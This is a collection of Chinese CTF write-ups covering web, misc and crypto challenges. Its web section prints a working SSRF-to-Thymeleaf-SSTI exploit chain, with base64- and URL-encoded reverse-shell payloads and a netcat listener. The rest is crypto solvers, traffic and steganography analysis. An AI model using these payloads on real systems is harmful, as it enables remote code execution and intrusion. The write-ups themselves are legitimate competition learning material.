HTTP/1.1 Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000 Content-Length: 17 Content-Type: application/x-www-form-urlencoded include!("/flag") Simp1escape Thymeleaf模板注入/Location跳转赛后弄出来了,题目给了一个jar文件,进行反编译分析这一段 302跳转绕过,thymeleaf的SSTI CurlController.class: package com.example.controller; import com.example.utils.Utils; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URL; import java.util.concurrent.TimeUnit; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class CurlController { private static final String RESOURCES_DIRECTORY = "resources"; private static final String SAVE_DIRECTORY = "sites"; public CurlController() { } @RequestMapping({"/curl"}) public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception { if (!url.startsWith("http:") && !url.startsWith("https:")) { System.out.println(url.startsWith("http")); return "No protocol: " + url; } else { URL urlObject = new URL(url); String result = ""; String hostname = urlObject.getHost(); if (hostname.indexOf("../") != -1) { return "Illegal hostname"; } else { InetAddress inetAddress = InetAddress.getByName(hostname); if (Utils.isPrivateIp(inetAddress)) { return "Illegal ip address"; } else { try { String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites"; File saveDir = new File(savePath); if (!saveDir.exists()) { saveDir.mkdirs(); } TimeUnit.SECONDS.sleep(4L); HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection(); if (connection instanceof HttpURLConnection) { connection.connect(); int statusCode = connection.getResponseCode(); if (statusCode == 200) { BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); BufferedWriter writer; String line; for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") { } writer.write(result); reader.close(); writer.close(); } } return result; } catch (Exception var15) { return var15.toString(); } } } } } } AdminController.class: package com.example.controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; import org.thymeleaf.spring5.SpringTemplateEngine; @Controller public class AdminController { public AdminController() { } @GetMapping({"/getsites"}) public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception { String ipAddress = request.getRemoteAddr(); if (!ipAddress.equals("127.0.0.1")) { response.setStatus(HttpStatus.FORBIDDEN.value()); return "forbidden"; } else { Context context = new Context(); TemplateEngine engine = new SpringTemplateEngine(); String dispaly = engine.process(hostname, context); return dispaly; } } } 漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。thymeleaf的SSTI可以参考上次rwctf的原题 https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89 /curl?url=http://vps:port/exploit.php exploit.php: <?php header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]] 或者: 在服务器上跑个Flask,重定向到127.0.0.1:8080 from flask import Flask, redirect, url_for, render_template, request app = Flask(__name__) @app.route('/', methods=['POST', 'GET']) def login(): exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4c%6a%45%75%4d%53%34%78%4c%7a%49%35%4f%54%6b%35%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e" return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}"); if __name__ == '__main__': app.run(host="0.0.0.0", port=5000) 再利用题目/curl接口ssrf即可: /curl?url=http://1.1.1.1:5000/ 监听等反弹shell即可: nc -lvvp 29999 easyescape 设置了ttl=0,并且解析到实际发起请求有4s的间隔。还以为是DNS rebinding,但实测不行,今天看了看确实是两次请求,存在DNS重绑定攻击的可能,但本地还是远程都打不通。利用302跳转可以绕过。[图片] 内网就是个Thymeleaf SSTI,又出网,直接弹shell。 Context context = new Context(); SpringTemplateEngine engine = new SpringTemplateEngine(); return engine.process(hostname, (IContext)context); hostname填这个: [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(java.lang.Boolean).forName("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(Runtime).getRuntime().exec('calc')").getValue()}]] Misc 定位签到 题目描述: 题目内容:BD09 longitude: 117.813707, latitude: 26.381977 (提交格式:flag{4个中文字}) https://lbsyun.baidu.com/jsdemo/demo/yLngLatLocation.htm 加密流量 Wireshark打开之后可以看到少量的数据包。在第4个和第5个UDP包的Data字段可以看到hex数据。分别hex解密看看结果:现在得到如下信息: HANDSHAKEAES-EBC FF 那么本道题的主旋律肯定是AES-ECB解密,以及在某个环节需要FF出场。接下来就是漫长的脑洞解密,挨个尝试解密数据包的Data字段。最终发现过滤UDP协议后,在第7个数据包和第31个数据包中可以提取出hex数据。 ada796133d9a31fa60df7a80fd81eaf6114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752 第31个数据包 ada796133d9a31fa60df7a80fd81eaf6a8642abc3e1b87b97d5914deaf34a5990de3339105f40d4bca0dc7c82893c8f470d2ce54ec5386a6e7dda6adbe92c7fdbb0f328790f6a2f098084892b2f2554fc6e632da9e00f4791118444dc7f58666f1a568ed25a8a4ef039bc2d92432e514f1a568ed25a8a4ef039bc2d92432e514f1 …… 5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de14123c85cd6129c2a98f1c62bcbd45ca9f559 对比可以发现,前32个字符是一致的,分别将数据异或FF之后观察。第7个数据包中前32个字符ada796133d9a31fa60df7a80fd81eaf6异或FF之后的结果是525869ecc265ce059f20857f027e1509,猜测这个大概率是Key。删掉第7个数据包中前32个字符,解密剩下的数据,是一个测试的flag: 114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752 再用525869ecc265ce059f20857f027e1509作为Key来解密第31个数据包,同样的,要删掉第31个数据包Data字段的前32个字符。综上,可以得到一个ole2文档,接下来可以分析文档宏代码,也可以用https://github.com/decalage2/oletools来提取。 pip3 install oletools olevba download.ole2 可以得到6c666b6d713f333f323c383a6b6c6f3e693f3c6f683b396f326c6e683f6f3b3a6e3e6c3d3977再使用Cyberchef的XOR Brute Force模块来解密,发现再次异或0a即可得到flag: Crypto CDMA 给出的signal数据存在高斯噪声,先降噪,求平均值即可然后整个算法可以看作是 但是这个也不是正正好就是模2的矩阵乘法,向量内积的时候元素加元素是异或(模2加),但是最后做加法的时候又是单纯求和 不过 0,1的异或算法,和 1,-1的乘法运算可以一一对应 因此上面的运算也可以映射成矩阵乘法,(正负好像得反一下) 于是 S 就可以看作是由 chips 线性变换而来,并且 chips 只有 1 和 -1,于是直接对 S 求一个LLL 得到 chips 后 根据 cdma 的转换后的正交特性 于是我们计算 即可得到 这样子flag就由列向量变成行向量了。不过因为这里使用的 1 和 -1,题目的基是 0 和 1,所以结果并不是32的倍数,不过根据实践结果来看,也不复杂,只有两种可能。 with open("output.pkl", "rb") as file: signal = pickle.load(file) single_signal_list = [] signals = [] signals_col = [] for i in range(0,len(signal)//1997): single_signal_list = signal[i*1997:(i+1)*1997] single_signal = round((sum(single_signal_list)/1997)*10) signals.append(single_signal) if len(signals) == 32: signals_col.append(signals) signals = [] signals_matrix = matrix(ZZ,signals_col) chips = signals_matrix.LLL()[-11:-1] M_T = chips * signals_matrix.T for m in M_T: tag = m[0] flag=''.join(['0' if i == tag else '1' for i in m]) print(int.to_bytes(int(flag,2),48)) 赛题web源码下载: 链接: https://pan.baidu.com/s/1iaknIj8wHk4FXNSnxnnLKQ 提取码: xd7c 参考地址: https://mp.weixin.qq.com/s/5fAIqMEOWXQvBbWyCnx5Ag https://mp.weixin.qq.com/s/QyvhWIylrXVbmlTz5QTZ9w
-
第二届数据安全大赛“数信杯”数据安全大赛 WP
1.pyc 使用pyc在线反编译得到python源码: #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.8 import random def encrypt_file(file_path): random.seed(114514) # WARNING: Decompyle incomplete file_path = "./flag" encrypt_file(file_path) 然后使用AI分析可得到它对应的解密脚本 import random import os def decrypt_data(encrypted_data): random.seed(114514) decrypted_data = bytearray() for byte in encrypted_data: key = random.randint(0, 128) decrypted_data.append(byte ^ key) return decrypted_data def read_file(file_path, mode='rb'): with open(file_path, mode) as file: return file.read() def write_file(file_path, data, mode='wb'): with open(file_path, mode) as file: file.write(data) def decrypt_file(encrypted_file_path, output_file_path): encrypted_data = read_file(encrypted_file_path) decrypted_data = decrypt_data(encrypted_data) write_file(output_file_path, decrypted_data) if __name__=='__main__': encrypted_file_path = 'flag.enc' output_file_path = 'flag_decrypted.txt' decrypt_file(encrypted_file_path, output_file_path) #flag{U_R_g00d_at_do1n_pyc} 2.MWatch 提示:数据安全研究员在分析智能设备实时采集的数据时,检测到有一台设备使用者曾出现过某数值过高的情况,请你协助分析该数值最高是多少。flag{md5(数据采集设备名称数据接收设备名称数值)} 多次出现Heart Rate,结合题目描述应该就是找这个,只查看Heart Rate相关 flag{md5(Mi Smart Band 5_Redmi K40_128)} flag{453d8feda5adb6e7b4d54f71a9ce9e14} 3.BabyRSA 提示:某员工有一个生成素数的初始值,这个算法他跑了很长时间。程序不小心终端,还不小心删了了初始值,还能恢复明文吗 源码: #task.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- from secret import flag,init from Crypto.Util.number import * from sage.all import * from gmpy2 import iroot m = bytes_to_long(flag.encode()) r = getPrime(128) p = init # for i in range(r-1): # p += next_prime(init) # assert iroot(p,3)[1] == 1 q = getPrime(12) # N = p*q*r N = r**4*q e = getPrime(17) c = pow(m,e,N) print(f"r = {r}") print(f"e = {e}") print(f"c = {c}") # r = 287040188443069778047400125757341514899 # e = 96001 # c = 7385580281056276781497978538020227181009675544528771975750499295104237912389096731847571930273208146186326124578668216163319969575131936068848815308298035625 爆破12比特的素数得到q,然后解密即可 from Crypto.Util.number import long_to_bytes, inverse r = 287040188443069778047400125757341514899 e = 96001 c = 7385580281056276781497978538020227181009675544528771975750499295104237912389096731847571930273208146186326124578668216163319969575131936068848815308298035625 # Assuming the modulus for the exponentiation should indeed be r**4 n = r**4 # Compute the modular inverse of e mod φ(n), where φ(n) could be a function of r, like (r-1)*(r**3) # We need the correct value of φ(n) for the RSA decryption formula m = c^d mod n, where d = e^(-1) mod φ(n) # Here, assuming φ(n) = r^4 - r^3 as a simplification, you might need to adjust this based on actual RSA setup phi_n = r**4 - r**3 d = inverse(e, phi_n) # Decrypt message m = pow(c, d, n) # Convert number to bytes message = long_to_bytes(m) print(message) #flag{3b0ce326141ea4f6b5bf2f37efbd1b42} 4.Backpack 背包加密,用BKZ算法可以求解到一组基 #!/usr/bin/env python3 # -*- coding: utf-8 -*- from sage.all import * from secret import flag from Crypto.Util.number import * from math import log2 class Knapsack: def __init__(self,n,m): self.M = [] self.n = n self.m = self.pre(m) self.A = 0 self.B = 0 def pre(self,m): tmp_m = bin(m)[2:] t = [] for tmp in tmp_m: t.append(int(tmp)) return t def get_M(self): seq = [randint(2**34,2**35) for _ in range(self.n)] self.M = seq def calc_density(self): t = log2(max(self.M)) d = self.n/t print(d) def enc(self): self.get_M() self.calc_density() C = 0 for t in range(len(self.m)): C += self.m[t] * self.M[t] print(f"C = {C}") print(f"M = {self.M}") if __name__=="__main__": m = bytes_to_long(flag.encode()) n = m.bit_length() k = Knapsack(n,m) k.enc() # C = 231282844744 # M = [27811518167, 19889199464, 19122558731, 19966624823, 25670001067, 30690729665, 23936341812, 31011714749, 30524482330, 21737374993, 17530717152, 19140841231, 33846825616, 17334386491, 28867755886, 29354544582, 21758322019, 27261411361, 31465376167, 26145493792, 27075307455, 33514052206, 25397635665, 21970496142, 30801229475, 22405695620, 18486900933, 27071880304, 17919853256, 18072328152, 21108080920] sagemath中执行: from Crypto.Util.number import long_to_bytes C = 231282844744 M = [27811518167, 19889199464, 19122558731, 19966624823, 25670001067, 30690729665, 23936341812, 31011714749, 30524482330, 21737374993, 17530717152, 19140841231, 33846825616, 17334386491, 28867755886, 29354544582, 21758322019, 27261411361, 31465376167, 26145493792, 27075307455, 33514052206, 25397635665, 21970496142, 30801229475, 22405695620, 18486900933, 27071880304, 17919853256, 18072328152, 21108080920] L = block_matrix([[1, matrix(ZZ, M).T], [0, C]]).LLL() for row in L: if row[-1] == 0 and len(set(row[:-1])) == 1: # Assuming all elements in the row, except the last one, are the same ans = [abs(i) for i in row[:-1]] ans = int(''.join(map(str, ans)), 2) print(long_to_bytes(ans)) 5.定向数据采集 import openpyxl import requests import time from urllib.parse import urlencode burp0_url = "http://121.40.65.125:23328/submit" def separate_name_and_id(input_file, output_file): wb = openpyxl.load_workbook(input_file) ws = wb.active for row in ws.iter_rows(min_row=1, max_col=1, max_row=ws.max_row, values_only=True): if row[0]: name, id_number = row[0].split('----') #提取名字和身份证 print(name, id_number) age = 2024-int(id_number[6:10]) if(int(id_number[10:12])>4): age -= 1 sexx=u"男" burp0_json={"address": "asd", "age": str(age), "ethnicity": "as", "experience": "1", "idcard": id_number, "name": "a", "phonenumber": "12312331233", "position": "as", "sex": sexx} sexx2 = u"女" burp0_json1={"address": "asd", "age": str(age), "ethnicity": "as", "experience": "1", "idcard": id_number, "name": "a", "phonenumber": "12312331233", "position": "as", "sex": sexx2} try: r0=requests.post(burp0_url, json=burp0_json) r1=requests.post(burp0_url, json=burp0_json1) print(r0.request.body) print(r0.text,r1.text) #time.sleep(0.5) except requests.exceptions: print("err") #time.sleep(2) #ws.append([name.strip(), id_number.strip()]) #wb.save(output_file) wb.close() if __name__ == "__main__": input_file = "data1.xlsx" output_file = "separated_data.xlsx" #没啥用,废弃掉了 separate_name_and_id(input_file, output_file) 6.weather 审下bundle.js 带参数去访问 7.mysql 清理 提示: 根据要求,现在要从数据库中彻底删除一些用户的数据,请连接提供的mysql容器,删除ctf所有表中,用户id为5142、2123、1169、8623这四个用户的数据。要求彻底清理这些用户,不能在服务器[中找到残留,同时不能改动其他用户数据。当操作成功后,系统会在ctf.flag表中录入flag数据。(mysql ctf用户密码 pswd@123) DELETE FROM ShoppingCart WHERE user_id in ("5142","2123","1169","8623"); DELETE FROM TransactionHistory WHERE user_id in ("5142","2123","1169","8623"); DELETE FROM UserLog WHERE user_id in ("5142","2123","1169","8623"); DELETE FROM Wallet WHERE user_id in ("5142","2123","1169","8623"); DELETE FROM User WHERE id in ("5142","2123","1169","8623"); 再重建一下表,清掉删除之后的残留数据 alter table User engine = innodb; alter table UserLog engine = innodb; alter table TransactionHistory engine = innodb; alter table ShoppingCart engine = innodb; alter table Orders engine = innodb; 8.幻方 三阶幻方只有八种结果,认准一个多试几次就行 import hashlib import random import string # Define the character set as alphanumeric characters charset = string.ascii_letters + string.digits while True: # Generate a random 4-character string from the charset rand_str = ''.join(random.choice(charset) for _ in range(4)) + 'CyhQp8lsgzYjTNUD' # Calculate the SHA-256 hash of the string hash_output = hashlib.sha256(rand_str.encode()).hexdigest() # Check if the hash matches the target hash if hash_output == '11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c': print(rand_str[:4]) # Print the first 4 characters if a match is found break ''' [2, 7, 6, 9, 5, 1, 4, 3, 8] [2, 9, 4, 7, 5, 3, 6, 1, 8] [4, 3, 8, 9, 5, 1, 2, 7, 6] [4, 9, 2, 3, 5, 7, 8, 1, 6] [6, 1, 8, 7, 5, 3, 2, 9, 4] [6, 7, 2, 1, 5, 9, 8, 3, 4] [8, 1, 6, 3, 5, 7, 4, 9, 2] [8, 3, 4, 1, 5, 9, 6, 7, 2] 4 3 8 9 5 1 2 7 6 ''' 9.Prime Conundrum 知道了delta可以对leak的那条式子进行二元copper求解s,t,通过hint和s求解p, 算私钥解密即可 import itertools from tqdm import tqdm def small_roots(f, bounds, m=1, d=None): if not d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m + 1): base = N ^ (m - i) * f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1 / factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return [] P = 91307300383014465303389363075431698588933838431961163766796972428733255940234665671679789435258337578396879726483195947952476118985507696067550566875810703327064257916213956673893327976728584687137639337961422903593701591152074826447530099276756806166361533554689114264018344629905535188048343259754284652017 Q = 149089411480331249267443825847904508235946280550542428853480950085018092182435890098430254117786823782088885695848943795846175490059759543848516828825072642481794902650586147465149175976488985613001468444893241645390860978312924241181340390543064512602477917112031391367608345501790785857442379515898677467337 n = 97339579366356507946846401691835843338581994635020856947574389213640653953117584127557153363761256108433474475102197685296591968229050609482457622390855692102761025647645801250282912327521623082583744902369819132264725498938021235699466656447009532567358416017236962637028458839659218745744825556065623673913 N = 72077628115206161977315177371814064093288033362281459918751639032623658967593542855291047617938064177930014574391486973767462937337649946356572406647109942552336519343063401327708412361664750917582404375485334706345485264831286788789648126355202140531434534406410829696252616051882952860015344370516517084357909896281965899571934196572691 leak = 45439323369250400352006541741265096780554398472451037280607564706700682873365442581062404781075514235328183754475227917775810587457541607767765455164339314322631781126065808432845447798024685402323868389611285038950397054020330610558058133599416135943335731904873776868614834960217751934513462319743149481906 c = 31456530156035981140909630437789986968079386074106871160743980387785993275753486380185420818239283975922682050323918081691381897642776414263991442096807392948925867761878299044300335666219533277719472330029607869735373712681522022301659090108633692457216985013550482473362675907949633024047291607542103649091410575340884845190483766424507 hint = 13318665442465244206832303588726230530847297247590371628366697082014350966833522479782161994817212671730145702818662148370306660550486536176566012104254910 z = 740476059013240018009340328107 PR.<x,y>=PolynomialRing(Zmod(n)) f=P*x + Q*y + z -leak ans=small_roots(f,bounds=(2^70,2^70),m=3,d=3) ans s = 30656796668419630391 t = 35875762848049841267 p = hint + s q = n // p assert p*q == n e = 65537 from Crypto.Util.number import * d = inverse(e,(p-1)*(q-1)*(z-1)) m = pow(c,d,n) long_to_bytes(int(m)) 10.fun 遍历爆破满足条件的x,y然后解密即可 # from z3 import * A = [] for x in range(101): for y in range(101): z = x^y if (x+y)*z == x**2 + y**2: if x*y != z: if x != y: A.append([x,y,z]) from Crypto.Cipher import AES import random # 与加密时相同的种子,确保生成相同的密钥 for i in A: x,y,z = i random.seed(x+y+z) key = random.randbytes(16) # print(key) # 读取加密的数据 PATH = r"encrypted_flag.bin" with open(PATH, "rb") as file_in: nonce = file_in.read(16) # Nonce 的长度为 16 字节 tag = file_in.read(16) # Tag 通常与块大小相同,对于 AES 为 16 字节 ciphertext = file_in.read() # 读取剩余部分作为密文 # 解密过程 # print(nonce) # print(tag) # print(ciphertext) cipher = AES.new(key, AES.MODE_EAX,nonce=nonce) try: decrypted_text = cipher.decrypt_and_verify(ciphertext, tag) print("The flag is:", decrypted_text) except: pass 11.好大的公钥 boneh and durfee 一把梭 from libnum import * N = 73662176635930217145588251109582598744318418885493494845859692592990304301546996154904097420724904838772056137908521735803973827790665774255932629529776216900362889972771913683024723128622502292694632281143536586986352764727899291750703185204118126673717387089701233154888606074285445820360105604776003690487 e = 26083019178473123328452230832076345302834454225396475868531519193551971982955975631443131705619185405190763284436613436828597887376946206551305947183212830810924956452635880343496593901027606468731840531964306285933726727512533644720818081124507069662781291949841231431546394148749720394411454774153995026037 c = 46149785989975097887441076951612740430034092652052333486778189200068487460813449057674051203125773261695615434443270333980225346411838188124458064365680435783802887397970067324393852247219619820813993601444322710186223021625645961186730735728928546458428244830359782270698452792224875596683123815246426241726 """ Setting debug to true will display more informations about the lattice, the bounds, the vectors... """ debug = False """ Setting strict to true will stop the algorithm (and return (-1, -1)) if we don't have a correct upperbound on the determinant. Note that this doesn't necesseraly mean that no solutions will be found since the theoretical upperbound is usualy far away from actual results. That is why you should probably use `strict = False` """ strict = False """ This is experimental, but has provided remarkable results so far. It tries to reduce the lattice as much as it can while keeping its efficiency. I see no reason not to use this option, but if things don't work, you should try disabling it """ helpful_only = True dimension_min = 7 # stop removing if lattice reaches that dimension ############################################ # Functions ########################################## # display stats on helpful vectors def helpful_vectors(BB, modulus): nothelpful = 0 for ii in range(BB.dimensions()[0]): if BB[ii, ii] >= modulus: nothelpful += 1 print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful") # display matrix picture with 0 and X def matrix_overview(BB, bound): for ii in range(BB.dimensions()[0]): a = ('%02d ' % ii) for jj in range(BB.dimensions()[1]): a += '0' if BB[ii, jj] == 0 else 'X' if BB.dimensions()[0] < 60: a += ' ' if BB[ii, ii] >= bound: a += '~' print(a) # tries to remove unhelpful vectors # we start at current = n-1 (last vector) def remove_unhelpful(BB, monomials, bound, current): # end of our recursive function if current == -1 or BB.dimensions()[0] <= dimension_min: return BB # we start by checking from the end for ii in range(current, -1, -1): # if it is unhelpful: if BB[ii, ii] >= bound: affected_vectors = 0 affected_vector_index = 0 # let's check if it affects other vectors for jj in range(ii + 1, BB.dimensions()[0]): # if another vector is affected: # we increase the count if BB[jj, ii] != 0: affected_vectors += 1 affected_vector_index = jj # level:0 # if no other vectors end up affected # we remove it if affected_vectors == 0: # print("* removing unhelpful vector", ii) BB = BB.delete_columns([ii]) BB = BB.delete_rows([ii]) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii - 1) return BB # level:1 # if just one was affected we check # if it is affecting someone else elif affected_vectors == 1: affected_deeper = True for kk in range(affected_vector_index + 1, BB.dimensions()[0]): # if it is affecting even one vector # we give up on this one if BB[kk, affected_vector_index] != 0: affected_deeper = False # remove both it if no other vector was affected and # this helpful vector is not helpful enough # compared to our unhelpful one if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs( bound - BB[ii, ii]): # print("* removing unhelpful vectors", ii, "and", affected_vector_index) BB = BB.delete_columns([affected_vector_index, ii]) BB = BB.delete_rows([affected_vector_index, ii]) monomials.pop(affected_vector_index) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii - 1) return BB # nothing happened return BB """ Returns: * 0,0 if it fails * -1,-1 if `strict=true`, and determinant doesn't bound * x0,y0 the solutions of `pol` """ def boneh_durfee(pol, modulus, mm, tt, XX, YY): """ Boneh and Durfee revisited by Herrmann and May finds a solution if: * d < N^delta * |x| < e^delta * |y| < e^0.5 whenever delta < 1 - sqrt(2)/2 ~ 0.292 """ # substitution (Herrman and May) PR.<u,x,y> = PolynomialRing(ZZ) Q = PR.quotient(x * y + 1 - u) # u = xy + 1 polZ = Q(pol).lift() UU = XX * YY + 1 # x-shifts gg = [] for kk in range(mm + 1): for ii in range(mm - kk + 1): xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk gg.append(xshift) gg.sort() # x-shifts list of monomials monomials = [] for polynomial in gg: for monomial in polynomial.monomials(): if monomial not in monomials: monomials.append(monomial) monomials.sort() # y-shifts (selected by Herrman and May) for jj in range(1, tt + 1): for kk in range(floor(mm / tt) * jj, mm + 1): yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk) yshift = Q(yshift).lift() gg.append(yshift) # substitution # y-shifts list of monomials for jj in range(1, tt + 1): for kk in range(floor(mm / tt) * jj, mm + 1): monomials.append(u ^ kk * y ^ jj) # construct lattice B nn = len(monomials) BB = Matrix(ZZ, nn) for ii in range(nn): BB[ii, 0] = gg[ii](0, 0, 0) for jj in range(1, ii + 1): if monomials[jj] in gg[ii].monomials(): BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY) # Prototype to reduce the lattice if helpful_only: # automatically remove BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1) # reset dimension nn = BB.dimensions()[0] if nn == 0: print("failure") return 0, 0 # check if vectors are helpful if debug: helpful_vectors(BB, modulus ^ mm) # check if determinant is correctly bounded det = BB.det() bound = modulus ^ (mm * nn) if det >= bound: # print("We do not have det < bound. Solutions might not be found.") # print("Try with highers m and t.") if debug: diff = (log(det) - log(bound)) / log(2) # print("size det(L) - size e^(m*n) = ", floor(diff)) if strict: return -1, -1 else: print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)") # display the lattice basis if debug: matrix_overview(BB, modulus ^ mm) # LLL if debug: print("optimizing basis of the lattice via LLL, this can take a long time") BB = BB.LLL() if debug: print("LLL is done!") # transform vector i & j -> polynomials 1 & 2 if debug: print("looking for independent vectors in the lattice") found_polynomials = False for pol1_idx in range(nn - 1): for pol2_idx in range(pol1_idx + 1, nn): # for i and j, create the two polynomials PR.<w,z> = PolynomialRing(ZZ) pol1 = pol2 = 0 for jj in range(nn): pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY) pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY) # resultant PR.<q> = PolynomialRing(ZZ) rr = pol1.resultant(pol2) # are these good polynomials? if rr.is_zero() or rr.monomials() == [1]: continue else: # print("found them, using vectors", pol1_idx, "and", pol2_idx) found_polynomials = True break if found_polynomials: break if not found_polynomials: # print("no independant vectors could be found. This should very rarely happen...") return 0, 0 rr = rr(q, q) # solutions soly = rr.roots() if len(soly) == 0: # print("Your prediction (delta) is too small") return 0, 0 soly = soly[0][0] ss = pol1(q, soly) solx = ss.roots()[0][0] # return solx, soly delta = .271 # this means that d < N^delta m = 8 # size of the lattice (bigger the better/slower) t = int((1 - 2 * delta) * m) # optimization from Herrmann and May X = 2 * floor(N ^ delta) # this _might_ be too much Y = floor(N ^ (1 / 2)) # correct if p, q are ~ same size P.<x,y> = PolynomialRing(ZZ) A = int((N + 1) / 2) pol = 1 + x * (A + y) solx, soly = boneh_durfee(pol, e, m, t, X, Y) d = int(pol(solx, soly) / e) print(d) m = power_mod(c, d, N) print(n2s(int(m))) 12.Notebook 复制文本到浏览器检索,发现有200C,所以直接零宽字符,用Cyberchef转换为Escape Unicode,发现大量出现了以下零宽字符 u202C\u200B\u2062\uFEFF最后找到了 https://lazzzaro.github.io/2020/05/24/misc-%E9%9B%B6%E5%AE%BD%E5%BA%A6%E5%AD%97%E7%AC%A6%E9%9A%90%E5%86%99/index.html 发现330k有自定义码表的功能 http://330k.github.io/misc_tools/unicode_steganography.html 最后发现MACOSX_里面里面其实hint了330k.github.io。 https://www.mzy0.com/ctftools/zerowidth1/ 也可以处理。 选中需要的编码之后即可解析,解析后如下: K|2+YG3-hfl|&_U8检索一整段之后没有什么信息,放入随波逐流里面发现该编码可以被base92解码解码后可知泄露源。 wangdalei0527然后找了半天flag提交格式结果发现只用提交wangdalei就行,0527猜测是手机尾号 flag{wangdalei} 13.UnsetData 发现是一个类似于内存镜像的东西,使用R-studio进行恢复找到了data.jpg,发现左上角有东西,有隐隐约约的字符,使用盲水印发现flag,然后调十几次参数找到相对清晰的图片之后抄10分钟flag即可得 flag{0531d7d9-65fb-49ae-87c1-639fff783338} 14.RWZIP 发现该压缩包数据校验不通过,说明包体被修改过,修改前发现压缩加密格式为ZipCrypto没找到其他信息,使用passware toolkit爆破,可得压缩包密码为114514,再观察下包体发现他被ZipCrypto加密后却不需要输入密码,将加密为从08改为09正常输入密码即可解压解压后发现采用了特殊的字符集,目测是将左右进行翻转替换后可得flag ʇlɒϱ{85ɘdɒʇ8245754b9ɘd09045087ʇɘ28392} flag{85ebaf8245754d9eb09045087fe28392} 15.USBHacker wireshark打开后USBHID长度为16,知道该流量为键盘流量 过滤Source 1.5.1之后,导出json, import json datainput = open('USB3.json', "r", encoding="utf-8") output = open("USB3.txt", "w",encoding="utf-8") d = json.load(datainput) for i in d: print(i["_source"]["layers"]["usbhid.data"]) output.write(i["_source"]["layers"]["usbhid.data"]+'\n') 然后再进行解析 normalKeys = { "04":"a", "05":"b", 